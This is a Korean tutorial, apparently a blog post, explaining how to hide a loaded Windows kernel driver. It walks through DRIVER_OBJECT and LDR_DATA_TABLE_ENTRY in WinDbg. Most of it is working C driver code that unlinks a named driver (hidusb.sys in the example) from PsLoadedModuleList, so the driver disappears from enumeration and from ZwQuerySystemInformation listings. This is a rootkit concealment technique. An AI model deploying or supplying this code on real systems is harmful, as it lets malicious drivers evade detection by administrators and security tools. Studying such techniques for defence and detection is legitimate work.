드라이버를 서비스 형태로 등록한 경우 DRIVER_OBJECT가 할당되며, 이 구조체로부터 드라이버 정보가 담긴 LDR_DATA_TABLE_ENTRY 구조체에 다다를 수 있다.

hidusb.sys를 샘플로 잡고 windbg에서 DRIVER_OBJECT 구조체를 살펴보면 0x28 오프셋에 DriverSection이 있는데 이는 LDR_DATA_TABLE_ENTRY 구조체를 가리킨다.

0x0 오프셋 구조체에 다음&이전 드라이버의 구조체 주소가 담겨있다.

다음&이전 구조체를 가리키는 Flink, Blink는 LDR_DATA_TABLE_ENTRY로 표현된다.

아래와 같이 Flink 값의 구조체를 살펴보면 다음 드라이버를 가리키는 것을 확인할 수 있다.

여기서, 숨기고자 하는 드라이버의 Flink와 Blink를 자신의 LDR_DATA_ENTRY를 가리키게 하고, 이전 드라이버 구조체의 Flink 를 다음 드라이버 구조체의 Blink와 이으면 LDR_DATA_TABLE_ENTRY 트레버싱이나 ZwQuerySystemInformation()의 드라이버 목록에서 사라지게 된다.

PLDR_DATA_TABLE_ENTRY PsLoadedModuleList;
void GetPsLoadedModuleList(PLDR_DATA_TABLE_ENTRY currentEntry)
{
	while (TRUE)
	{
		if (NULL == currentEntry->DllBase)
		{		
			PsLoadedModuleList = currentEntry;
			break;
		}
		currentEntry = (PLDR_DATA_TABLE_ENTRY)currentEntry->InLoadOrderLinks.Flink;
	}
}
void HideDriver(PCWSTR szFileName)
{
	PLDR_DATA_TABLE_ENTRY prevEntry, nextEntry, Entry;
	Entry = (PLDR_DATA_TABLE_ENTRY)PsLoadedModuleList->InLoadOrderLinks.Flink;
	
	while (Entry != PsLoadedModuleList)
	{
		if (0 == wcscmp((PCWSTR)Entry->BaseDllName.Buffer, szFileName))
		{
			prevEntry = (PLDR_DATA_TABLE_ENTRY)Entry->InLoadOrderLinks.Blink; // 이전 노드
			nextEntry = (PLDR_DATA_TABLE_ENTRY)Entry->InLoadOrderLinks.Flink; // 다음 노드
			prevEntry->InLoadOrderLinks.Flink = Entry->InLoadOrderLinks.Flink; // 이전 노드의 다음을 내 다음으로 바꿈
			nextEntry->InLoadOrderLinks.Blink = Entry->InLoadOrderLinks.Blink; // 다음 노드의 이전을 내 이전로 바꿈 
			// 내 노드의 앞, 뒤를 나 자신으로 바꿈
			// 바꾸지 않는다면 드라이버 서비스를 stop할때 BSOD발생 (KERNEL SECURITY CHECK FAILURE)
			Entry->InLoadOrderLinks.Flink = (PLIST_ENTRY)Entry;
			Entry->InLoadOrderLinks.Blink = (PLIST_ENTRY)Entry;
			break;
		}	
		
		Entry = (PLDR_DATA_TABLE_ENTRY)Entry->InLoadOrderLinks.Flink;
	}
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
	UNREFERENCED_PARAMETER(pRegistryPath);
	pDriverObject->DriverUnload = DriverUnload;
	PLDR_DATA_TABLE_ENTRY pCurrentTableEntry = (PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
	GetPsLoadedModuleList(pCurrentTableEntry);
	HideDriver(L"hidusb.sys");
 }

+ Recent posts